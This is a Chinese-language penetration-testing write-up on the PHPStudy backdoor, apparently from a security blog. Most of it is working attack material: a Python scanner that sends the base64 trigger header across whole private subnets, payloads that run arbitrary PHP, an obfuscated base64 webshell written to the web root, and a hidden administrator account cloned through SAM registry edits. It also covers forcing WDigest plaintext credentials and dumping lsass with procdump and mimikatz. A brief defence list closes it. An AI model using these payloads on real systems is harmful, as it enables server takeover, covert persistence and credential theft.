记一次phpstudy后门引发的渗透测试
字数 995 2025-08-26 22:11:56
PHPStudy后门漏洞分析与渗透测试实战
漏洞概述
PHPStudy是一款流行的PHP集成环境软件,2019年被爆出存在后门漏洞。该后门允许攻击者在特定条件下执行任意PHP代码,导致服务器被完全控制。
漏洞检测
检测原理
后门存在于PHPStudy的特定版本中,当HTTP请求头中包含特定字段时,服务器会执行攻击者构造的代码:
- 关键请求头:
Accept-Charset: ZWNobyAiZGFvbGd0cyI7 - 该Base64解码后为:
echo "daolgts"; - 如果服务器返回内容中包含"daolgts",则表明存在漏洞
检测脚本
import requests
import threading
def test(ip):
url = "http://{}:80/index.php".format(ip)
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.132 Safari/537.36",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3",
"Accept-Language": "zh,zh-TW;q=0.9,en-US;q=0.8,en;q=0.7,zh-CN;q=0.6",
"Accept-Charset": "ZWNobyAiZGFvbGd0cyI7",
"Accept-Encoding": "gzip,deflate",
"Connection": "close"
}
try:
r = requests.get(url, headers=headers)
if "daolgts" in r.content:
print "[+] found \t " + ip
except:
pass
thread = []
for _ in range(1, 256):
print "[-] ip :" + _ + "next..."
for i in range(1, 256):
ip = "192.168." + str(_) + "." + str(i)
t = threading.Thread(target=test, args=(ip,))
thread.append(t)
t.start()
for x in thread:
t.join()
漏洞利用
执行任意PHP代码
利用漏洞可以执行任意PHP代码,例如:
- 获取当前工作目录:
var_dump(getcwd());
dmFyX2R1bXAoZ2V0Y3dkKCkpOw==
- 目录遍历:
var_dump(scandir("C:\phpStudy2"));
var_dump(scandir("C:\phpStudy2\PHPTutorial"));
var_dump(scandir("C:\phpStudy2\PHPTutorial\WWW"));
写入Webshell
使用file_put_contents函数写入Webshell:
file_put_contents("C:\phpStudy2\PHPTutorial\WWW",base64_decode("PD9waHAgJGRHcWE9Y3JlYXRlX2Z1bmN0aW9uKGNocig0OTUtNDU5KS5iYXNlNjRfZGVjb2RlKCdjdz09JykuY2hyKDA0MTUtMDIzNikuc3RyX3JvdDEzKCd6JykuY2hyKDUyNzIyLzUyMiksc3RyX3JvdDEzKCdyJykuYmFzZTY0X2RlY29kZSgnZGc9PScpLmNocig5OTktOTAyKS5jaHIoMHhjNzIwLzB4MWQ4KS5iYXNlNjRfZGVjb2RlKCdLQT09JykuY2hyKDAxMDMzLTA3NjcpLmJhc2U2NF9kZWNvZGUoJ2N3PT0nKS5jaHIoMHgzMWMtMHgyYWQpLmJhc2U2NF9kZWNvZGUoJ2JRPT0nKS5jaHIoNDUxNDcvNDQ3KS5jaHIoMHg5NjExLzB4M2E5KS5iYXNlNjRfZGVjb2RlKCdPdz09JykpOyRkR3FhKGJhc2U2NF9kZWNvZGUoJ05UTXlNJy4nVE16TzAnLidCbGRrRicuJ3NLQ1JmJy4nJy5jaHIoODI2MjAvOTcyKS5zdHJfcm90MTMoJ1InKS5jaHIoMHhkNi0weDlkKS5zdHJfcm90MTMoJ0cnKS5iYXNlNjRfZGVjb2RlKCdWZz09JykuJycuJycuY2hyKDB4MmE0LTB4MjVlKS5zdHJfcm90MTMoJ2cnKS5iYXNlNjRfZGVjb2RlKCdVUT09JykuY2hyKDA0NTE0MC8wMzQwKS5jaHIoMHg0ZjZmLzB4MTlmKS4nJy4ncERTSEInLidYVUYwcCcuJ096RTFPJy4nVFl6T1QnLidrNycuJycpKTs/Pg=="));
权限提升与持久化
添加隐藏用户
- 创建隐藏用户:
net user defaultuser0$ somepasswordhere /add /y
net localgroup administrators defaultuser0$ /add
net localgroup "remote desktop users" defaultuser0$ /add
- 注册表修改隐藏用户:
- 打开注册表编辑器:
regedit - 找到
HKEY_LOCAL_MACHINE\SAM\SAM - 赋予administrator读写权限
- 找到后门用户和administrator用户对应的目录
- 将administrator对应目录中的F值复制到后门用户对应目录中的F值
- 导出并保存defaultuser0$和其对应的0000003EA目录
- 删除后门用户:
net user defaultuser0$ /del - 重新导入注册表
密码抓取技巧
对于Windows Server 2012 R2及以上系统:
- 需要修改注册表才能抓取明文密码:
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
-
然后需要重启计算机,重新登录时才能抓到明文密码
-
使用工具抓取密码:
procdump64.exe -accepteula -ma lsass.exe 1.dmp
然后使用mimikatz读取:
sekurlsa::minidump lsass.dmp
sekurlsa::logonPasswords full
防御措施
- 立即升级PHPStudy到最新版本
- 检查服务器日志中是否有可疑的
Accept-Charset: ZWNobyAiZGFvbGd0cyI7请求 - 定期检查服务器上的用户账户,特别是带有
$符号的隐藏账户 - 限制远程桌面服务的访问
- 修改默认的MySQL和远程桌面端口
- 实施最小权限原则,避免使用管理员权限运行服务
总结
PHPStudy后门漏洞是一个严重的服务器安全威胁,攻击者可以利用它完全控制服务器。通过本文的分析,安全人员可以了解攻击者的利用手法,从而更好地防御此类攻击。同时,管理员应定期检查服务器安全配置,及时修补已知漏洞。